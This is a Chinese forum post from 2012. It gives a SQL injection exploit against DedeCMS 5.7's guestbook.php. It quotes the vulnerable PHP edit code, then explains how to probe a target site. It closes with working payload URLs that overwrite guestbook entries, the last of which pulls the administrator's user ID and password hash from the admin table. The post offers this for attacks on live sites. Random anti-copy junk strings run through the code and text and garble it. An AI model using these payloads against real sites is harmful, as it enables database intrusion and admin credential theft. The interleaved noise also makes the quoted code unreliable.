找回密码
 立即注册
查看: 4691|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7- l- L6 v3 [6 e* N- s0 b( m5 f
# y  S1 p1 E2 z6 S8 G0 z
漏洞文件edit.inc.php具体代码:
9 x! G: B! Z7 j  a8 ?+ Y  T- y! T% x; e2 `# ^# w9 R: ]; G! f
< ?php  
$ O5 I/ j/ J& X) c# O
$ Y$ l; f+ r1 i, Y- G* R3 pif(!defined('DEDEINC')) exit('Request Error!');  
6 W6 a( z+ ?& ~9 }8 {
+ c8 Z# N* U5 G) G, N# I   9 L) K1 f/ J. ^

, q- _7 ^1 V! I7 Eif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  ; j8 y+ [% ?$ r& l$ p* T  S6 c4 ^
2 S; R0 q0 R, J5 E
else $GUEST_BOOK_POS = "guestbook.php";  
8 C8 H$ p  v. Y5 @+ U+ W4 o4 u; P, n! ^8 R) o
   ' \* B- `8 }! E' e
- U* [: m4 Z2 y( s  |7 n  G/ m
$id = intval($id);  
9 ?! |* R$ W0 {) ~. y3 P4 I9 X, ?
if(empty($job)) $job='view';  % y7 J: R; X6 Q2 G& B' L
% V; B0 g! c0 m( F: F$ T
   8 L) p* i# f  o- W4 H, T7 m3 \

' u% q  k' {  Q5 i9 ^+ H  d; eif($job=='del' && $g_isadmin)  
/ b  M1 F- C% V' ?7 H
9 B4 N, E( X9 W5 }{  
; M2 G0 m* g9 o; Z  U7 S
$ A, t! P; k5 W; H- u$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  $ b4 o6 [3 V# [. c0 @4 k9 U8 N5 w6 _. U" h
) z" Z* Y+ c2 A$ Y8 a1 r- C) h$ J
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  2 n; [- U7 _9 J+ K

! Z. q/ S% S% Y( x5 a$ pexit();  ; F. h: p3 w% h8 R/ O
2 Z* y! Y$ \" ~, @; j% d
}  , F  n5 I& Z- E* ?& L8 Z0 ?+ f
6 t" |# V1 [" I' u3 ~( ?
else if($job=='check' && $g_isadmin)  
; G% z! F6 B8 E# c2 c# k5 p' M& P$ \" Y6 u9 [6 u" N4 d
{  
7 g9 B6 m% i" K  s, _2 n
' b7 w. [/ ?$ b* K$ }# u3 e$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  , j! L2 A0 K' M, p1 m6 z: G

) q  f) q6 r: e3 F7 A) zShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
! d0 D. q# p" `+ L: h
2 U" U. w1 \% x) V! u. Cexit();  5 G6 O  ^) \( h
7 V+ [' J+ Q3 N' q2 m) q" K
}  * n! N$ K- o8 _* o! N3 ]/ r
0 V) Q# o, W7 f, A; |
else if($job=='editok')  
' e; l5 u( t7 I8 @; q" ~+ a0 h1 W& y( u+ g
{  
4 \% B# Y0 ?+ O$ x: C, A. `+ I: J5 b; V  ]8 T/ s1 Q- M
$remsg = trim($remsg);  
, e! I# `# y4 u5 g) N. l4 E$ X$ g+ a/ \% X9 E) v
if($remsg!='')  
2 f. Y, n& r* l5 Z- M8 l! {% F6 Z
7 l% O5 A2 z5 C{  
- ]0 [6 m/ m# P/ P0 X( Z5 F
5 ?) @6 L; n- t; v, I+ r4 ]//管理员回复不过滤HTML By:Errorera blog:errs.cc  " h1 V- a2 s8 w# c- F! S" p

; r8 y, C3 }0 ?4 C8 H7 g* sif($g_isadmin)  
& g2 F9 l5 q" }' L4 E' J3 I& S1 Z% r0 Q3 G1 F1 q( g) h
{  
% Z. B- k& S" m5 s3 c/ a8 e, i" }& u
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
) Q. |: p6 P: g% m7 h" o1 R( {. h2 V8 U4 [
//$remsg <br /><font color=red>管理员回复:</font> }  
' e- J$ \4 S  L1 b7 v$ }+ ^8 R4 e1 N4 Q6 r" X  a/ n1 j% D
else
2 t" `  ?# a$ u! |% R2 x! `' ^  x% {, v" b% j% \& H
{  
- e' d( }; j  S9 Z# s) W+ A4 E, t7 n6 P7 h
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
8 @; p' g: m& V: Z' H6 V0 z: X
/ I" ?, {: M- D8 m$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
7 g3 ~0 U5 T" A+ h7 W9 ^9 A3 Y& {) g, k
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  : T5 @4 |6 x5 c2 n1 M
- k3 @8 _+ y: d+ ~+ c! v5 Y- O
$msg = $oldmsg.$remsg;  
! T* X+ z6 T! ^9 f
, ^- r, m7 M0 D% O0 x% o}  
5 k2 T* p5 p. t1 s" q+ j/ J6 ~" A+ b
}  
: y8 c; `$ d& `/ P7 n" J1 V7 |- }9 v5 d6 W, x
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  * g+ m3 k/ }# U( o. \9 D/ w' x& P$ D
; j" W$ i; A( r9 t7 B2 ^
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  & c& z% T* Z% P+ c! v( W5 V  u( j
9 e- n% m6 G- E5 z9 ^3 z5 T5 G; m
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  - `. D) S0 y9 J" @7 }- Y7 M

$ e2 J. D, D$ U2 z5 V# wexit();  
' Y7 {5 z. e& V: |" P
6 s0 L1 }0 r1 o! f& }# f1 P}  9 Q0 `( ]& |- _; \* p5 b; T
7 M# a5 X$ B1 S* g+ F/ p
//home:www.errs.cc  * d. ~- m5 A$ E* O6 w. ]4 V( s

: K  T- p  I. B6 Jif($g_isadmin)  
+ `$ J! h" u- N- X4 z! x
! X/ u6 d( @8 v* X, v1 z) w{  
1 E6 T! ]- h1 K( T# R! D' K, C5 [- _( ?
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
& v1 s5 d+ S, K$ G7 p
$ w8 Z& V' B+ y% Y( r; t! d4 T# ^6 U& g5 v/ hrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
% g0 z' |- n, T  s
9 ~5 t8 |5 Z. T5 C! L}  - `8 T+ V" ]0 @

. Y' {) d$ c) \# [else 8 p6 @0 Y3 F0 L+ O

1 u( N9 L3 L( B% y( D' \{  
8 C: h4 _/ X. @" P3 ~, M9 A
' E5 C2 @6 h$ _( E$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
0 y# F! s- q! H9 \
6 Z2 M& B  ?1 ]* y) _require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  # R; A/ J. I0 d

# f. `7 C" e8 R+ F+ V; x* h} 漏洞成功需要条件:) s7 Q! o$ o+ r. z6 Z& V
1. php magic_quotes_gpc=off3 @3 a* ^2 G- u; ]+ d# c/ E" r# o
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。' L% c5 p+ l( ~+ Y
; E) a, W+ M+ A8 }2 ~2 x8 e; V
怎么判断是否存在漏洞:
0 D3 [/ X2 p5 W9 B6 W& u先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,5 i, f+ _3 y8 F8 T5 U5 {; t$ c
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
+ {$ D9 n. J' g# _访问:7 @0 l& y* W7 ?# o4 D- Q

: Q! t9 ~4 a0 \" Qwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了: p) J4 F6 e5 T3 y) p/ m5 i) S
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证( I) }2 Y% K* H$ F# q! ^( A

% [' O: Q( p1 l1 |- j) Y2 E  M: ^" D% f7 {
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off& k& s2 a1 o- u- ]" R5 c
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
0 l7 V3 C4 O, X9 @* `. P; }那么再次访问4 Z4 q% j2 j6 [6 k6 k2 m

5 B# z2 ^: |2 ~3 xwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
: U9 _3 ?# c+ ^, P5 q! z+ v) j$ O- j3 V' z
大概利用就是这样,大家有兴趣的多研究下!!
/ n" }; v+ v; J; ?0 w1 x0 {& T
9 d3 ?: B' A1 v5 j+ r最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!( T( A' h" [6 r0 J6 p9 T2 u
) y9 v: ^$ z7 i4 u
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表